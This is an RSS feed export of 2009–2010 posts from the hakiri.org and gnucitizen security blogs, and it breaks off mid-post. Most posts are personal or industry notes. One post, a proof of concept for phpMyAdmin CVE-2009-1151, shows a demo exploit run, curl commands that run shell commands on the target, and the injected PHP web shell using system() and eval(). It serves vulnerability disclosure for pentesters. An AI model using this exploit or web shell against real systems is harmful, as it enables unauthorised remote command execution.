Some interesting stuff!---recent posts from the gnucitizen network:Landing ProxifyFuzzing XML and JSON Pt.1You and Your ResearchWell Websecurify Runs on The iPhoneStuxnet</description>
         <guid isPermaLink="false">https://www.hakiri.org/?p=668</guid>
         <pubDate>Sun, 03 Jan 2010 10:19:47 +0000</pubDate>
         <content:encoded><![CDATA[<p>I stumbled upon the following cartoon on twitter. I have read &#8220;<a rel="nofollow" target="_blank" href="http://en.wikipedia.org/wiki/1984">1984</a>&#8221; but not &#8220;<a rel="nofollow" target="_blank" href="http://en.wikipedia.org/wiki/Brave_New_World">Brave New World</a>&#8220;. Will be visiting the local library soon.</p>

<div class="screen"><a rel="nofollow" target="_blank" href="http://www.hakiri.org/wordpress/../static/blog/2010/01/was-huxley-right.jpg"><img src="http://www.hakiri.org/wordpress/../static/blog/2010/01/was-huxley-right.jpg" alt="was-huxley-right" title="was-huxley-right" width="570" height="4550" class="alignnone size-full wp-image-669"/></a></div>

<p><em>Some interesting stuff!</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/OzY5aID9zNU/">Landing Proxify</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/WFmSjSbrck4/">Fuzzing XML and JSON Pt.1</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/PSDmtHjr23M/">You and Your Research</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/></p>]]></content:encoded>
      </item>
      <item>
         <title>Working Hard is Overrated?</title>
         <link>http://www.hakiri.org/blog/working-hard-is-overrated/</link>
         <description>I often hear about success stories where the direct cause for the success is someone&amp;#8217;s hard work and persistence. Although in my mind persistence is important, it seems that hard work is seriously overrated according to the founders of Flickr and a bunch of neuroscientists, as reported here and here. Now, this is an idea I fully support.

Here is what Caterina Fake has to say about working hard:



There are a few interesting things we can draw from Caterina&amp;#8217;s experience. [...]</description>
         <guid isPermaLink="false">https://www.hakiri.org/?p=649</guid>
         <pubDate>Mon, 12 Oct 2009 15:45:40 +0000</pubDate>
         <content:encoded><![CDATA[<a rel="nofollow" target="_blank" href="http://www.flickr.com/photos/wili/242260084/"><img class="initial-capital" src="http://farm1.static.flickr.com/84/242260084_40473f9e1d_m.jpg" alt="Office: the new account manager"/></a>

<p>I often hear about success stories where the direct cause for the success is someone&#8217;s hard work and persistence. Although in my mind persistence is important, it seems that hard work is seriously overrated according to the founders of Flickr and a bunch of neuroscientists, as reported <a rel="nofollow" target="_blank" href="http://www.fastcompany.com/blog/cliff-kuang/design-innovation/hard-works-over-rated-it-could-even-be-detrimental?partner=homepage_newsletter">here</a> and <a rel="nofollow" target="_blank" href="http://online.wsj.com/article/SB124535297048828601.html">here</a>. Now, this is an idea I fully support.</p>

<p>Here is what <a rel="nofollow" target="_blank" href="http://en.wikipedia.org/wiki/Caterina_Fake">Caterina Fake</a> has to say about working hard:</p>

<blockquote><p>We agreed that a lot of what we then considered &#8220;working hard&#8221; was actually &#8220;freaking out&#8221;. Freaking out included panicking, working on things just to be working on something, not knowing what we were doing, fearing failure, worrying about things we needn&#8217;t have worried about, thinking about fund raising rather than product building, building too many features, getting distracted by competitors, being at the office since just being there seemed productive even if it wasn&#8217;t &#8211; and other time-consuming activities.</p>

<p>Much more important than working hard is knowing how to find the right thing to work on. Paying attention to what is going on in the world. Seeing patterns. Seeing things as they are rather than how you want them to be. Being able to read what people want. Putting yourself in the right place where information is flowing freely and interesting new juxtapositions can be seen. But you can save yourself a lot of time by working on the right thing. Working hard, even, if that&#8217;s what you like to do.</p></blockquote>

<p>There are a few interesting things we can draw from Caterina&#8217;s experience. I&#8217;ve organised them in bullet points to be processed easily when it is needed and also added a few things on this subject I found out on my own. So here is the list.</p>

<h3>How to Avoid Working Hard</h3>

<ol>
<li>Find the right thing to work on.</li>
<li>Pay attention to what is going on in the world.</li>
<li>Look for patterns.</li>
<li>See things as they are rather than how you want them to be.</li>
<li>Read what people want.</li>
<li>Put yourself in the right place where information is flowing freely and interesting new juxtapositions can be seen.</li>
<li>Never, ever work for work&#8217;s sake.</li>
<li>Even when you need to work hard, take a 10 minutes break every 40 minutes.</li>
<li>Take it easy.</li>
<li>Keep it simple.</li>
</ol>

<p><em>I know for a fact that these things may sound like nonsense to some of you but there is some truth in them if you choose to embrace this kind of lifestyle.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/OzY5aID9zNU/">Landing Proxify</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/WFmSjSbrck4/">Fuzzing XML and JSON Pt.1</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/PSDmtHjr23M/">You and Your Research</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/></p>]]></content:encoded>
      </item>
      <item>
         <title>Old-school Remote Command Exec Vulnerabilities on Avaya Intuity</title>
         <link>http://feedproxy.google.com/~r/gnucitizen/~3/N2mMnIALMMg/</link>
         <description>Remember those old remote command exec vulns where you had a CGI script such as a perl program which would take input from the client to construct command strings that would then be passed to the shell environment? Well, there were tons of those affecting diagnostic scripts available on the web interface of Avaya Intuity Audix LX.



These vulnerabilities, although cool, are not critical since you need to be logged into the interface in order to exploit them. [...]</description>
         <guid isPermaLink="false">https://www.gnucitizen.org/?p=3316</guid>
         <pubDate>Thu, 17 Sep 2009 08:32:47 +0000</pubDate>
         <content:encoded><![CDATA[<p>Remember those old remote command exec vulns where you had a CGI script such as a perl program which would take input from the client to construct command strings that would then be passed to the shell environment? Well, there were tons of those affecting diagnostic scripts available on the web interface of Avaya Intuity Audix LX.</p>

<blockquote>I successfully tested them on version 1.1, and according to Avaya this is the latest vulnerable version (version 2.0 is <em>NOT</em> affected apparently).</blockquote>

<p>These vulnerabilities, although cool, are not critical since you need to be logged into the interface in order to exploit them. That being said, it could be handy for bypassing restricting imposed by the web GUI and eventually escalate privileges.</p>

<p>Apart from that, there were also the usual client-side bugs such as XSS and CSRF which are usually expected of an appliance with a web interface.</p>

<p><em>Details can be found on the attached <a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/static/blog/2009/09/Avaya_Intuity_Remote_Command_Execution.pdf">PDF document</a>.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/OzY5aID9zNU/">Landing Proxify</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/WFmSjSbrck4/">Fuzzing XML and JSON Pt.1</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/PSDmtHjr23M/">You and Your Research</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/N2mMnIALMMg" height="1" width="1"/>]]></content:encoded>
      </item>
      <item>
         <title>How Derren Brown Predicted the Lottery Numbers</title>
         <link>http://www.hakiri.org/blog/how-derren-brown-predicted-the-lottery-numbers/</link>
         <description>Last Wednesday (09/09/2009) Derren Brown predicted, or at least he made us to believe that he did, five numbers from the lottery draw aired on BBC. For those of you who have no clue what I am talking about, here is a video footage from the show.

How did he do it? I was eager to find out but since he promised to reveal the secret the following Friday, I retained myself from making any guesses until I see the show on TV first. [...]</description>
         <guid isPermaLink="false">https://www.hakiri.org/?p=620</guid>
         <pubDate>Fri, 11 Sep 2009 23:21:11 +0000</pubDate>
         <content:encoded><![CDATA[<a rel="nofollow" target="_blank" href="http://www.flickr.com/photos/krypto/481230057/"><img class="initial-capital" src="http://farm1.static.flickr.com/181/481230057_95bbd13c70_m.jpg" alt="Derren Brown programme cover"/></a>

<p>Last Wednesday (09/09/2009) Derren Brown predicted, or at least he made us to believe that he did, five numbers from the lottery draw aired on BBC. For those of you who have no clue what I am talking about, <a rel="nofollow" target="_blank" href="http://www.youtube.com/watch?v=kMIzR6GNAXw">here is a video footage</a> from the show.</p>

<p><q>How did he do it?</q> I was eager to find out but since he promised to reveal the secret the following Friday, I retained myself from making any guesses until I see the show on TV first. His explanation is out now and as I thought things do not add up as nicely as I would like.</p>

<p>So here is what I think is possible and what is not. Let&#8217;s lay out some facts:</p>

<ol>
<li><strong>You cannot predict a relatively random sequence of numbers</strong> &#8211; unless it is not random at all. Any claims and proof that the lottery is predictable will make the draw automatically invalid. Not random means that it is fixed. It also means that it is unfair.</li>
<li><strong>The lottery draw is NOT invalid</strong> &#8211; and therefore it wasn&#8217;t predicted as he tried to made us to believe. Derren did get an approval from Camelot to do the show and they were completely aware of what he was up to. Camelot knew that the draw cannot be invalidated because Derren did not and could not get the winning numbers, which leads us to the obvious conclusion that <strong>it is only an illusion</strong>.</li>
<li>Even if the lottery can be predicted due to being not random, it is very unlikely that Derren has access to resources that can give him the ability to predict the numbers. Think about all technical aspects required to perform a one time guess of something that is the end result of many system properties and variables which are influenced by all kinds of internal and external processes.</li>
</ol>

<p>The most likely explanation of the trick is usually the most obvious one. The most obvious explanation is that this is a live video montage. Why? Well, why didn&#8217;t he do the draw live on stage but inside a studio? The reason for this is because he cannot guess the winning numbers. Only a studio with fixed lighting and scene will let him to create the illusion.</p>

<p>Another peculiar thing about this act is that he essentially gives deliberate hints on exactly how everything works in reality. At the beginning of the show where the trick was explained, he starts by presenting to the audience 3 possible options he could have employed in order to pull off this trick. Here they are:</p>

<ol>
<li>Fake a ticket</li>
<li>Genuinely guess the winning numbers</li>
<li>Fix the machine</li>
</ol>

<p>The funny thing is how he disregards the first and most obvious solution by suggesting that it is too obvious and uninteresting and therefore it should be ignored. He quickly moves on on the second possible solution. Now this is basically 99% of the entire show. It is extremely convoluted and full of pseudoscience of all sorts. The last possible solution is of course not possible at all since this will undoubtedly land him in jail, nevertheless he spends a couple of minutes on it at the end of the show to force us to thinker between options 2 and 3 and completely ignore option 1. He is a mentalist after all.</p>

<p><em>Derren Brown is a magician at the end of the day. The power is not in the trick but in the magician being able to produce an image of something magical happening. </em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/OzY5aID9zNU/">Landing Proxify</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/WFmSjSbrck4/">Fuzzing XML and JSON Pt.1</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/PSDmtHjr23M/">You and Your Research</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/></p>]]></content:encoded>
      </item>
      <item>
         <title>Skydive</title>
         <link>http://feedproxy.google.com/~r/gnucitizen/~3/uiN_CvNhlow/</link>
         <description>What is the best way to spend a quiet, weekend afternoon? &amp;#8211; Jump off a perfectly working plane while 10,000 feet in the air.



On 5th of July 2009, the GNUCITIZEN team and friends came together to perform a skydiving gig. It has been two months since that day but memories are still as clear as yesterday.---recent posts from the gnucitizen network:Landing ProxifyFuzzing XML and JSON Pt.1You and Your ResearchWell Websecurify Runs on The iPhoneStuxnet</description>
         <guid isPermaLink="false">https://www.gnucitizen.org/?p=3349</guid>
         <pubDate>Mon, 07 Sep 2009 19:12:26 +0000</pubDate>
         <content:encoded><![CDATA[<p><q>What is the best way to spend a quiet, weekend afternoon?</q> &#8211; Jump off a perfectly working plane while 10,000 feet in the air.</p>

<div class="screen"><embed src="http://www.youtube.com/v/dw2SnTcbTKA&#038;hl=en&#038;fs=1&#038;" type="application/x-shockwave-flash" width="560" height="340"></iframe></div> 

<p><em>On 5th of July 2009, the GNUCITIZEN team and friends came together to perform a <a rel="nofollow" target="_blank" href="http://www.gnucitizen.net/cmpgn/skydive">skydiving gig</a>. It has been two months since that day but memories are still as clear as yesterday.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/OzY5aID9zNU/">Landing Proxify</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/WFmSjSbrck4/">Fuzzing XML and JSON Pt.1</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/PSDmtHjr23M/">You and Your Research</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/uiN_CvNhlow" height="1" width="1"/>]]></content:encoded>
      </item>
      <item>
         <title>Free Web Application Security Testing Tool</title>
         <link>http://feedproxy.google.com/~r/gnucitizen/~3/YE55z5NLzgE/</link>
         <description>Automated Web Application Security Testing tools are in the core of modern penetration testing practices. You cannot rely 100% on the results they produce, without considering seriously their limitations. However, because these tools are so good at picking the low-hanging fruit by employing force and repetition, they still have a place in our arsenal of penetrating testing equipment.

These tools are not unfamiliar to modern day penetration testers. [...]</description>
         <guid isPermaLink="false">https://www.gnucitizen.org/?p=3332</guid>
         <pubDate>Fri, 07 Aug 2009 08:02:38 +0000</pubDate>
         <content:encoded><![CDATA[<p>Automated Web Application Security Testing tools are in the core of modern penetration testing practices. You cannot rely 100% on the results they produce, without considering seriously their limitations. However, because these tools are so good at picking the low-hanging fruit by employing force and repetition, they still have a place in our arsenal of penetrating testing equipment.</p>

<p>These tools are not unfamiliar to modern day penetration testers. In fact, there are plenty of them to choose from, ranging from low-grade command line utilities to high-end frameworks. There are plenty of commercial tools as well some of which are a lot better, in terms of features and false-positives rate, when compared to open source alternatives. People often choose what they are more familiar with. I prefer to use tools that are right for the job without discriminating a particular operating system, platform, and style.</p>

<p>Without further ado, I would like to introduce to you yet another tool to compete in the market of automated web application security scanners (not only), released as part of our own <a rel="nofollow" target="_blank" href="http://www.websecurify.com">Websecurify</a> initiative. The tools is called Websecurify (big surprise) and it is written on the top of common web technologies, which provide significant benefit over other technologies used in open source and commercial alternative products.</p>

<p>Here are some of the key features of Websecurify:</p>

<ol>
<li>It is 100% open source, GPL, CC product, ready to benefit the open source movement</li>
<li>The engine employs technologies, such as Web Workers, from the latest HTML5 specs</li>
<li>Most of the code is written in JavaScript but many parts can be rewritten or extended with Python, Java and C</li>
<li>The core engine can be taken out from the binary bundles and used as part of self-defending web applications. I will talk about this soon.</li>
<li>The testing and reporting mechanisms are asynchronous. This means that the report is cooking while the test is performed. It also means that decisions are taken immediately, i.e. they are not scheduled.</li>
<li>The tool is cross-platformed thanks to xulrunner</li>
<li>Everything is written with extensibility in mind</li>
<li>It can be extended in pretty much the same way you can extend Firefox and Thunderbird</li>
</ol>

<p>There are many other features, which I am going to talk about soon.</p>

<p>At the moment the tool is only available as a MacOS DMG package and source code. The Windows and Linux versions will be released soon. In the future we are planning release all platform specific packages at the same time. Now is just an exception as we are mostly interested to get an early feedback. I am sure that that there will be a lot of bugs to fix and features to add/improve before we reach version 1.0.</p>

<p>Version 0.2 can be downloaded from <a rel="nofollow" target="_blank" href="http://www.websecurify.com">www.websecurify.com</a> or our <a rel="nofollow" target="_blank" href="http://code.google.com/p/websecurify/">source code repository</a>.</p>

<p><em>If you have any feedback or you would like to contribute to this project, please do let us know. We can use any help possible.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/OzY5aID9zNU/">Landing Proxify</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/WFmSjSbrck4/">Fuzzing XML and JSON Pt.1</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/PSDmtHjr23M/">You and Your Research</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/YE55z5NLzgE" height="1" width="1"/>]]></content:encoded>
      </item>
      <item>
         <title>Of Sec Cons and Magstripe Gift Cards</title>
         <link>http://feedproxy.google.com/~r/gnucitizen/~3/yiuUen9-FhI/</link>
         <description>I&amp;#8217;ve been meaning to talk about CONFidence and EUSecWest for quite a while, but May was such an intense month for me, that&amp;#8217;s hardly left me with any time for other things. I eventually got caught up with other matters, which resulted in me publishing this post about 2 months late.

I&amp;#8217;ve been researching, pentesting, and preparing two different presentations which I gave at CONFidence in Krakow, and EUSecWest in London. pdp has also been busy presenting at AusCERT2009. [...]</description>
         <guid isPermaLink="false">https://www.gnucitizen.org/?p=3280</guid>
         <pubDate>Wed, 22 Jul 2009 09:53:54 +0000</pubDate>
         <content:encoded><![CDATA[<p>I&#8217;ve been meaning to talk about <a rel="nofollow" target="_blank" href="http://2009.confidence.org.pl/lang-pref/en/">CONFidence</a> and <a rel="nofollow" target="_blank" href="http://eusecwest.com/">EUSecWest</a> for quite a while, but May was such an intense month for me, that&#8217;s hardly left me with any time for other things. I eventually got caught up with other matters, which resulted in me publishing this post about 2 months late.</p>

<p>I&#8217;ve been researching, pentesting, and preparing two different presentations which I gave at <a rel="nofollow" target="_blank" href="http://2009.confidence.org.pl/prelegenci/adrian-pastor">CONFidence</a> in Krakow, and <a rel="nofollow" target="_blank" href="http://eusecwest.com/agenda.html">EUSecWest</a> in London. pdp has also been busy presenting at <a rel="nofollow" target="_blank" href="http://conference.auscert.org.au/conf2009/presenter.php?presenter_id=P_P">AusCERT2009</a>. In his Weaponry 2.0, pdp talked about current challenges experienced by pentesters, shared some of his experiments (i.e.: using QEMU) and introduced his <a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/blog/jeriko-group-and-source-code-repository/">Jeriko</a> pentesting environment (NOT framework!).</p>

<p>My CONFidence presentation was on PCI DSS, and credit card theft from a pentester&#8217;s perspective. I attempted to explain why it&#8217;s possible for unsophisticated criminals to compromise credit card data. I also shared my frustrations with the PCI DSS standards, including some of its current weaknesses.</p>

<p>On the other hand, my EUSecWest presentation was on attacking magstripes gift cards, which apppear to be on the rise in the UK. The core of the research is about <em>cloning (activated) gift cards without physically swiping the magnetic stripes.</em> Trust me when I say that there is a lot of truth on <a rel="nofollow" target="_blank" href="http://twitter.com/dragosr/status/1949951235">Drago&#8217;s</a> tweet regarding this research! My EUSecWest slides have just been recently <a rel="nofollow" target="_blank" href="http://research.corsaire.com/presentations/">published</a>. More details will soon be available on a white paper which will be available on <a rel="nofollow" target="_blank" href="http://research.corsaire.com/">Corsaire Research</a> website.</p>

<h3>Thanks</h3>

<p>I&#8217;d like to thank the organizers of these two great conferences, namely Andrzej Targosz from CONFidence and <a rel="nofollow" target="_blank" href="http://twitter.com/dragosr">Dragos Ruiu</a> from EUSecWest (plus their respective crews of course).</p>

<p>Also, special thanks to <a rel="nofollow" target="_blank" href="http://www.corsaire.com/">Corsaire</a> who sponsored the time needed to prepare my presentation. I originally started my magstripe gift cards research about 3 years ago, but left it unattended for so long. If it wasn&#8217;t for Corsaire, this research wouldn&#8217;t have been resumed.</p>

<p><em>Finally, but not least, thanks to everyone who helped me prepare my presentations such as Jan Fry, Amir Azam, pavlovs_dog, Monsy Carlo, etc.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/OzY5aID9zNU/">Landing Proxify</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/WFmSjSbrck4/">Fuzzing XML and JSON Pt.1</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/PSDmtHjr23M/">You and Your Research</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/yiuUen9-FhI" height="1" width="1"/>]]></content:encoded>
      </item>
      <item>
         <title>CVE-2009-1151: phpMyAdmin Remote Code Execution Proof of Concept</title>
         <link>http://feedproxy.google.com/~r/gnucitizen/~3/MbrBV_cxDIg/</link>
         <description>I couldn&amp;#8217;t find any public PoC/exploit for this phpMyAdmin vulnerability, despite it being a serious bug affecting a popular open-source project. I think this vulnerability is a nice reminder that it&amp;#8217;s still possible to perform remote command execution these days without relying on SQL injection (i.e.: xp_cmdshell) or a memory corruption bug (i.e.: heap overflow). [...]</description>
         <guid isPermaLink="false">https://www.gnucitizen.org/?p=3254</guid>
         <pubDate>Tue, 09 Jun 2009 19:03:13 +0000</pubDate>
         <content:encoded><![CDATA[<p>I couldn&#8217;t find any public PoC/exploit for this <a rel="nofollow" target="_blank" href="http://www.phpmyadmin.net/home_page/index.php">phpMyAdmin</a> vulnerability, despite it being a serious bug affecting a popular open-source project. I think this vulnerability is a nice reminder that it&#8217;s still possible to perform remote command execution these days without relying on SQL injection (i.e.: <code>xp_cmdshell</code>) or a memory corruption bug (i.e.: heap overflow).</p>

<blockquote>All the documentation you need is in the script comments. I recommend you to go through it, before you actually run the script.</blockquote>

<p>After reading the public <a rel="nofollow" target="_blank" href="http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php">advisory</a> and patched code, and playing around for a while, I managed to have a working PoC bash script. The script will allow you to remotely run shell commands and PHP code against vulnerable targets. Although in principle the vulnerability sounds quite simple, it actually took me a while to go from <a rel="nofollow" target="_blank" href="http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php">advisory</a> to working attack code.</p>

<p><em>I&#8217;m providing the script with the hope that it will help pentesters and security researchers. Please only test the script against your own systems, or systems you have been given permission to pentest! Don&#8217;t be evil, it&#8217;s not worth it.</em></p>

<h3>Demo</h3>

<pre><code>$ ./phpMyAdminRCE.sh
usage: ./phpMyAdminRCE.sh 
i.e.: ./phpMyAdminRCE.sh http://target.tld/phpMyAdmin/

$ ./phpMyAdminRCE.sh http://172.16.211.10/phpMyAdmin-3.0.1.1/
[+] checking if phpMyAdmin exists on URL provided ...
[+] phpMyAdmin cookie and form token received successfully. Good!
[+] attempting to inject phpinfo() ...
[+] success! phpinfo() injected successfully! output saved on /tmp/phpMyAdminRCE.sh.9217.phpinfo.flag.html
[+] you *should* now be able to remotely run shell commands and PHP code using your browser. i.e.:

http://172.16.211.10/phpMyAdmin-3.0.1.1//config/config.inc.php?c=ls+-l+/


http://172.16.211.10/phpMyAdmin-3.0.1.1//config/config.inc.php?p=phpinfo();

    please send any feedback/improvements for this script to unknown.pentester gmail.com

$ curl "http://172.16.211.10/phpMyAdmin-3.0.1.1//config/config.inc.php?c=ls+-l+/"
total 96
drwxr-xr-x   2 root   root  4096 Mar 11 10:12 bin
drwxr-xr-x   3 root   root  4096 May  6 10:01 boot
lrwxrwxrwx   1 root   root    11 Oct 12  2008 cdrom -&gt; media/cdrom
drwxr-xr-x  15 root   root 14300 Jun  5 09:02 dev
drwxr-xr-x 147 root   root 12288 Jun  5 09:02 etc
drwxr-xr-x   3 root   root  4096 Oct 18  2008 home
drwxr-xr-x   2 root   root  4096 Jul  2  2008 initrd
<em>[partial output removed for brevity reasons]</em></code></pre>

<p>Contents of <code>/config/config.inc.php</code> after our evil code has been successfully injected (injected code shown in <strong>bold</strong>):</p>

<pre><code>&lt;?php
/*
 * Generated configuration file
 * Generated by: phpMyAdmin 3.0.1.1 setup script by Michal ÄŒihaÅ™ &lt;michal@cihar.com&gt;
 * Version: $Id: setup.php 11423 2008-07-24 17:26:05Z lem9 $
 * Date: Tue, 09 Jun 2009 14:13:34 GMT
 */

/* Servers configuration */
$i = 0;

/* Server  (config:root) [1] */
$i++;
$cfg[&apos;Servers&apos;][$i][&apos;host&apos;]=&apos;<strong>&apos;; if($_GET[&apos;c&apos;]){echo
&apos;&lt;pre&gt;&apos;;system($_GET[&apos;c&apos;]);echo &apos;&lt;/pre&gt;&apos;;}if($_GET[&apos;p&apos;]){echo
&apos;&lt;pre&gt;&apos;;eval($_GET[&apos;p&apos;]);echo &apos;&lt;/pre&gt;&apos;;};//</strong>&apos;] = &apos;localhost&apos;;
$cfg[&apos;Servers&apos;][$i][&apos;extension&apos;] = &apos;mysqli&apos;;
$cfg[&apos;Servers&apos;][$i][&apos;connect_type&apos;] = &apos;tcp&apos;;
$cfg[&apos;Servers&apos;][$i][&apos;compress&apos;] = false;
$cfg[&apos;Servers&apos;][$i][&apos;auth_type&apos;] = &apos;config&apos;;
$cfg[&apos;Servers&apos;][$i][&apos;user&apos;] = &apos;root&apos;;

/* End of servers configuration */

?&gt;</code></pre>

<h3>Thanks</h3>

<p><em>I&#8217;d like to thank <a rel="nofollow" target="_blank" href="http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/">Greg Ose</a> for discovering such a cool vuln and doing a nice writeup about the technical details! Also big thanks to <a rel="nofollow" target="_blank" href="http://www.milw0rm.com/">str0ke</a> for testing this PoC script and providing such useful feedback!</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/OzY5aID9zNU/">Landing Proxify</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/WFmSjSbrck4/">Fuzzing XML and JSON Pt.1</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/PSDmtHjr23M/">You and Your Research</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/MbrBV_cxDIg" height="1" width="1"/>]]></content:encoded>
      </item>
      <item>
         <title>Hacking Linksys IP Cameras (pt 5)</title>
         <link>http://feedproxy.google.com/~r/gnucitizen/~3/i5HZCjdXt3I/</link>
         <description>This article is a continuation of the following GNUCITIZEN articles: Hacking Linksys IP Cameras (pt 1), Hacking Linksys IP Cameras (pt 2), Hacking Linksys IP Cameras (pt 3), Hacking Linksys IP Cameras (pt 4).

Mounting the filesystem on your workstation

There are many ways to mount the camera&amp;#8217;s filesystem using the firmware binary. In this post, we&amp;#8217;ll explain one way to mount firmware version v1.00R24 which is the latest available for the WVC54GCA model. [...]</description>
         <guid isPermaLink="false">https://www.gnucitizen.org/?p=3229</guid>
         <pubDate>Fri, 05 Jun 2009 08:04:55 +0000</pubDate>
         <content:encoded><![CDATA[<p><em>This article is a continuation of the following GNUCITIZEN articles: <a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-1/">Hacking Linksys IP Cameras (pt 1)</a>, <a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-2/">Hacking Linksys IP Cameras (pt 2)</a>, <a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/">Hacking Linksys IP Cameras (pt 3)</a>, <a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-4/">Hacking Linksys IP Cameras (pt 4)</a>.</em></p>

<h3>Mounting the filesystem on your workstation</h3>

<p>There are many ways to mount the camera&#8217;s filesystem using the firmware binary. In this post, we&#8217;ll explain one way to mount firmware version v1.00R24 which is the latest available for the WVC54GCA model.</p>

<p>If you were to only use the firmware binary, things could be a bit difficult, as you don&#8217;t know the format of the binary at all. However, having the GPL firmware helps a lot as we&#8217;ll see next. I emailed Linksys back on Apr 23, 2009 informing them that although the GPL firmware was available on their site for other Linksys products, they hadn&#8217;t uploaded the one for the WVC54GCA camera. A few days later, on Apr 27, 2009, Linksys kindly made it available and <a rel="nofollow" target="_blank" href="http://www.linksysbycisco.com/US/en/supportgplcode">has been available</a> ever since (the file to download is <code>wvc54gca_v1.00R24.tgz</code>).</p>

<p>Thanks to <a rel="nofollow" target="_blank" href="http://brooknet.no-ip.com/~lex/">Lex Landa</a>&#8216;s tips I was able to figure out the parameters required to mount the firmware binary, by analysing the data contained in the <code>./scripts/wvc54gc_usa_english/combine.cfg</code> file which is included with the <a rel="nofollow" target="_blank" href="http://downloads.linksysbycisco.com/downloads/wvc54gca_v1.00R24,5.tgz">GPL firmware</a>:</p>

